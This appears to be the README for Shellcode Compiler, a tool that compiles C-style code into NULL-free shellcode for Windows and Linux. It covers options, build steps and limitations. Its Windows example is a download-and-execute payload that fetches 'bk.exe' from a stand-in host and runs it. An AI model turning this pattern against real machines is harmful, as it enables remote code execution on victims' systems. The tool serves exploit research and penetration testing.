ShellcodeCompiler

Shellcode Compiler

Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way.

Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine.

Command line options

    -h (--help)      : Show this help message
    -p (--platform)  : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

Windows example

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux example

    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Invocation example

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

Limitations

1. It is not possible to use the return value of an API call
2. It is not possible to use pointers or buffers
3. It is not possible to declare variables

Multiple other limitations exists as well. This is an Alpha version. Please report any bugs or suggestions.

Changelog

1. Initial support for Windows x64
2. Initial support for Linux (x86 and x64) shellcodes

Keystone

1. Download Keystone Engine source code
2. Compile Keystone Engine as static library using nmake-lib.sh (for Linux) and nmake-lib.bat (for Windows)
3. Windows: Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\keystone_x86.lib (for 32 bits) and keystone_x64.lib (for 64 bits)
4. Linux: Copy the resulted lib file from keystone-src\build\llvm\lib\keystone.lib to ShellcodeCompiler\Keystone\libkeystone_x86.a (for 32 bits) and libkeystone_x64.a (for 64 bits)

Author

Ionut Popescu (@NytroRST)